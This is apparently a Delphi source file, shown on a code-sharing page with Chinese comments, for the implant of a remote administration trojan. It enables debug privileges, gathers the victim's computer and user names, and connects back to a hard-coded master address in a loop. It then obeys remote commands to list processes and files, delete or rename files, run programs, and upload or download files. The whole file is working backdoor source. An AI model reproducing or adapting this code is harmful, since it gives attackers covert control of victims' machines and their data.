📄 server.dpr
字号:
iResult, iTimeOut: Integer;
lpRecvBuffer, lpSendBuffer: Pointer;
bIsLogin: Boolean;
dwConnectTime: DWORD;
cbSockCmd, cbSendSockCmd: BYTE;
lpListPathFile, lpDownFileName, lpUploadFileName, lpNewFileName, lpOldFileName: PChar;
// 文件是否是否传输中
hDownFile, hUploadFile: THandle;
bIsDownFile, bIsUploadFile: Boolean;
dwDownFileSize, dwUpLoadFileSize, dwBytes: DWORD;
begin
Result := 0;
bIsLogin := False;
hSocket := TSocket(lpParameter);
dwConnectTime := GetTickCount();
bIsDownFile := False;
bIsUploadFile := False;
dwDownFileSize := 0;
dwUpLoadFileSize := 0;
hDownFile := 0;
hUploadFile := 0;
lpRecvBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 8192));
if (lpRecvBuffer = nil) then Exit;
lpSendBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 8192));
if (lpSendBuffer = nil) then Exit;
try
while True do
begin
//读取数据包长度
iResult := RecvBuffer(hSocket, @dwBufferLen, SizeOf(DWORD), 180);
if (iResult = SOCKET_ERROR) then
begin
//MessageBox(0, '[1]数据包长度接受过程出错', nil, 0);
Break;
end;
// 读取数据
if (iResult > 0) then
begin
if (dwBufferLen > 8192) then Break;
iResult := RecvBuffer(hSocket, lpRecvBuffer, dwBufferLen, 180);
if (iResult = 0) or (iResult = SOCKET_ERROR) then
begin
//MessageBox(0, '[3]数据包接受过程出错', nil, 0);
Break;
end;
EnDeCode(lpRecvBuffer, dwBufferLen, @szKeyBuffer, SizeOf(szKeyBuffer));
end;
// 接受信息处理过程======================================================
if (Not bIsLogin) then
begin
cbSockCmd := BYTE(PChar(lpRecvBuffer)[0]);
case cbSockCmd of
CSocket_PING:
begin
SendBuffer(hSocket, CSocket_PONG, nil, 0);
end;
end;
if (dwBufferLen = 3) then
begin
if ((PChar(lpRecvBuffer)[0]= 'O') and (PChar(lpRecvBuffer)[1] = 'K')
and (PChar(lpRecvBuffer)[2]= #$00)) then
begin
bIsLogin := True;
end;
end else
begin
if ((GetTickCount() - dwConnectTime) > 10000) then Break;
end;
end else
begin
cbSockCmd := BYTE(PChar(lpRecvBuffer)[0]);
case cbSockCmd of
// 心跳包处理
CSocket_PING:
begin
Sleep(1);
if Not SendBuffer(hSocket, CSocket_PONG, nil, 1) then
begin
//MessageBox(0, '[+]心跳包发送出错!', nil, 0);
Break;
end;
end;
// 获取Client基本信息
CSocket_GetBaseInfo:
begin
if (Not GetClientBaseInfo(hSocket)) then
begin
//MessageBox(0, '[+]基本信息发送失败!', nil, 0);
Break;
end;
end;
// 获取进程列表
CSocket_ListProcess:
begin
if (Not GetProcessList(hSocket)) then
begin
//MessageBox(0, '[+]进程获取失败!', nil, 0);
Break;
end;
end;
//====================================================================
// 文件管理类
// 获取目录信息
CSocket_ListDrive:
begin
if (Not GetDriveList(hSocket)) then Break;
end;
// 获取目录文件列表
CSocket_ListFile:
begin
lpListPathFile := @(PChar(lpRecvBuffer)[1]);
if (lstrlen(lpListPathFile) > 0) then
begin
if GetListPathFile(hSocket, lpListPathFile) then Continue;
end else
begin
GetWindowsDirectory(szBuffer, MAX_PATH);
szBuffer[3] := #0;
if GetListPathFile(hSocket, szBuffer) then Continue;
end;
end;
// 文件删除
CSocket_FileDelete:
begin
lpListPathFile := @(PChar(lpRecvBuffer)[1]);
if DeleteFile(lpListPathFile) then
begin
cbSendSockCmd := CSocket_FileDeleteOk;
end else
begin
cbSendSockCmd := CSocket_FileDeleteFailed;
end;
if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;
end;
// 目录删除
CSocket_DeleteDirectory:
begin
lpListPathFile := @(PChar(lpRecvBuffer)[1]);
if RemoveDirectory(lpListPathFile) then
begin
cbSendSockCmd := CSocket_FileDeleteOk;
end else
begin
cbSendSockCmd := CSocket_FileDeleteFailed;
end;
if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;
end;
// 文件运行
CSocket_FileRun:
begin
lpListPathFile := @(PChar(lpRecvBuffer)[1]);
if (WinExec(lpListPathFile, SW_SHOW) = 21) then
begin
cbSendSockCmd := CSocket_FileRunOk;
end else
begin
cbSendSockCmd := CSocket_FileRunFailed;
end;
if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;
end;
// 文件打开
CSockek_FileOpen:
begin
lpListPathFile := @(PChar(lpRecvBuffer)[1]);
ShellExecute(0, 'Open', lpListPathFile, nil, nil, SW_SHOW);
end;
// 创建目录
CSocket_CreateDirectory:
begin
lpListPathFile := @(PChar(lpRecvBuffer)[1]);
if CreateDirectory(lpListPathFile, nil) then
begin
cbSendSockCmd := CSocket_DirectoryCreateOk;
end else
begin
cbSendSockCmd := CSocket_DirectoryCreateFailed;
end;
if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;
end;
// 修改文件名
CSocket_FileRename:
begin
lpOldFileName := @(PChar(lpRecvBuffer)[9]);
lpNewFileName := PChar(DWORD(lpOldFileName) + PDWORD(@(PChar(lpRecvBuffer)[1]))^);
if MoveFile(lpOldFileName, lpNewFileName) then
begin
cbSendSockCmd := CSocket_FileRenameOK;
end else
begin
cbSendSockCmd := CSocket_FileRenameFailed;
end;
if Not SendBuffer(hSocket, cbSendSockCmd, lpOldFileName, lstrlen(lpOldFileName) + 1) then Break;
end;
//====================================================================
// 文件传输类
// 停止文件传输
CSocket_FileSendStop:
begin
if bIsDownFile then CloseHandle(hDownFile);
if bIsUploadFile then CloseHandle(hUploadFile);
bIsDownFile := False;
bIsUploadFile := False;
dwDownFileSize := 0;
dwUpLoadFileSize := 0;
end;
// 文件下载开始
CSocket_FileDownStart:
begin
// 判断文件是否正在传输中
if (bIsDownFile) then
begin
dwDownFileSize := 0;
CloseHandle(hDownFile);
bIsDownFile := False;
end;
// 下载文件名
lpDownFileName := @(PChar(lpRecvBuffer)[1]);
hDownFile := CreateFile(lpDownFileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hDownFile = INVALID_HANDLE_VALUE) then
begin
bIsDownFile := False;
if Not SendBuffer(hSocket, CSocket_SendReadFileError, nil, 1) then Break;
Continue;
end;
// 发送文件长度
dwDownFileSize := GetFileSize(hDownFile, nil);
ZeroMemory(lpSendBuffer, MAX_PATH);
wsprintf(lpSendBuffer, '%ld', dwDownFileSize);
if Not SendBuffer(hSocket, CSocket_SendFileDownStart, lpSendBuffer, lstrlen(lpSendBuffer) + 1) then Break;
bIsDownFile := True;
end;
// 文件上传开始
CSocket_FileUploadStart:
begin
if bIsUploadFile then
begin
CloseHandle(hUploadFile);
bIsUploadFile := False;
end;
dwUpLoadFileSize := PDWORD(@(PChar(lpRecvBuffer)[1]))^;
lpUploadFileName := @(PChar(lpRecvBuffer)[5]);
hUploadFile := CreateFile(lpUploadFileName, GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (hUploadFile = INVALID_HANDLE_VALUE) then
begin
bIsUploadFile := False;
dwUpLoadFileSize := 0;
// 发送文件上传失败指令
if Not SendBuffer(hSocket, CSocket_SendUpLoadFailed, nil, 1) then Break;
end else
begin
// 发送开始上传指令
if Not SendBuffer(hSocket, CSocket_SendUpLoadStart, nil, 1) then Break;
bIsUploadFile := True;
end;
end;
// 文件上传中
CSocket_FileUploading:
begin
if bIsUploadFile then
begin
WriteFile(hUploadFile, PChar(lpRecvBuffer)[1], dwBufferLen - 1, dwBytes, nil);
dwUpLoadFileSize := dwUpLoadFileSize - dwBytes;
//========================================
//ZeroMemory(@szDebugBuffer, SizeOf(szDebugBuffer));
//wsprintf(szDebugBuffer, 'dwBufferLen: %d, dwUpLoadFileSize: %d. dwUploadSize: %d', dwBufferLen, dwUpLoadFileSize, dwBytes);
//OutputDebugString(szDebugBuffer);
//========================================
if (dwUpLoadFileSize <= 0) then
begin
CloseHandle(hUploadFile);
bIsUploadFile := False;
//if Not SendBuffer(hSocket, CSocket_SendUpLoadStart, nil, 1) then Break;
if Not SendBuffer(hSocket, CSocket_SendUpLoadTheEnd, nil, 1) then Break;
end;
end;
end;
end;
end;
end;
finally
if bIsDownFile then CloseHandle(hDownFile);
if bIsUploadFile then CloseHandle(hUploadFile);
GlobalFree(DWORD(lpSendBuffer));
GlobalFree(DWORD(lpRecvBuffer));
end;
end;
procedure WinMain();
var
WSAData: TWSAData;
hSocket: TSocket;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
hThread, dwThreadID: DWORD;
szOnlineBuffer: Array[0..MAX_PATH] of Char;
dwNameLen: DWORD;
szUserName: Array[0..MAX_PATH] of Char;
szGetComputerName: Array[0..MAX_PATH] of Char;
szTest: Array[0..MAX_PATH] of Char;
begin
GetDebugPrivs();
// 初始化WSA
if (WSAStartup($202, WSAData) <> S_OK) then Exit;
dwNameLen := MAX_PATH;
GetComputerName(szGetComputerName, dwNameLen);
dwNameLen := MAX_PATH;
GetUserName(szUserName, dwNameLen);
ZeroMemory(@szOnlineBuffer, MAX_PATH);
wsprintf(szOnlineBuffer, '%s|%s|%s|%s|%s|%s|%d|%d|%d|%d|',
'127.0.0.1',
'xicao',
szGetComputerName,
szUserName,
'1.1a',
'mypass',
1,
1,
1,
GetCurrentProcessId()
);
while (True) do
begin
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(CStr_MasterPort);
SockAddrIn.sin_addr.s_addr := inet_addr(PChar(CStr_MasterAddress1));
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(PChar(CStr_MasterAddress1));
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
hSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
// 连接远程地址
if Connect(hSocket, SockAddrIn, SizeOf(SockAddrIn)) = S_OK then
begin
if (SendBuffer(hSocket, CSocket_Online, szOnlineBuffer, lstrlen(szOnlineBuffer) + 1)) then
begin
hThread := CreateThread(nil, 0, @ClientThread, Pointer(hSocket), 0, dwThreadID);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
end;
end;
// 清空网络数据,关闭句柄
shutdown(hSocket, SD_BOTH);
closesocket(hSocket);
Sleep(6000);
end;
// 卸载WSA
WSACleanup();
end;
begin
WinMain();
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -